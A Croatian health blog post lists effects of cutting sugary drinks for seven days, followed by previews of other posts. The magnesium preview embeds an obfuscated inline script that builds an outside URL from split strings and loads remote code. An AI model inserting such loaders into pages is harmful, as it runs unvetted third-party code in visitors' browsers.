ŠTO SE DOGAĐA S TIJELOM KAD IZBACITE SOKOVE NA 7 DANA?





Što se događa s tijelom kad izbacite sokove na 7 dana?




Gazirani i zaslađeni sokovi mnogima su svakodnevna navika, uz ručak, tijekom posla ili kao brzo osvježenje. No, upravo su takva pića jedan od najčešćih skrivenih izvora šećera u prehrani. Ako se pitate što se događa s tijelom kada prestanete piti sokove, promjene se mogu primijetiti već nakon nekoliko dana. Sedmodnevna pauza često je dovoljna da tijelo počne reagirati na manji unos šećera.





Stabilnija razina energije

Zaslađeni napitci mogu uzrokovati brzi porast, ali i nagli pad energije zbog naglog skoka šećera u krvi. Kada ih izbacite iz prehrane, razina energije često postaje stabilnija tijekom dana. Mnogi ljudi primijete da imaju manje osjećaja naglog umora.


 
 
Manja potreba za slatkim

Sokovi često sadrže velike količine dodanog šećera. Kada ih prestanete piti, tijelo se postupno navikava na manji unos slatkog. Nakon nekoliko dana mnogi primijete da im želja za slatkišima postaje slabija.



 
Moguća promjena tjelesne težine

Jedna čaša zaslađenog soka može sadržavati znatnu količinu kalorija. Kada ih uklonite iz svakodnevne prehrane, ukupni dnevni unos kalorija može se smanjiti.
 
Zbog toga neki ljudi primijete blage promjene u tjelesnoj težini već nakon nekoliko tjedana.



 
Bolja hidracija

Mnogi zaslađeni napitci ne hidriraju tijelo jednako učinkovito kao voda. Kada ih zamijenite vodom, mineralnom vodom ili nezaslađenim čajem, tijelo često dobiva bolju i stabilniju hidrataciju.



 
Promjena prehrambenih navika

Jedna od zanimljivijih promjena nije fizička, nego navika.
Kada prestanete posezati za sokovima, često počnete više obraćati pozornost na to što pijete i jedete tijekom dana. Uz to, hrana koju jedete imat će bolji okus!
 
Takva promjena može biti prvi korak prema uravnoteženijoj prehrani.
 
Sedam dana bez zaslađenih sokova možda se ne čini kao velika promjena, ali može biti dobar način da provjerite kako vaše tijelo reagira na manji unos šećera.
 
Ponekad je dovoljno napraviti malu pauzu od jedne navike da biste primijetili razliku u energiji, hidraciji i svakodnevnim izborima hrane.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više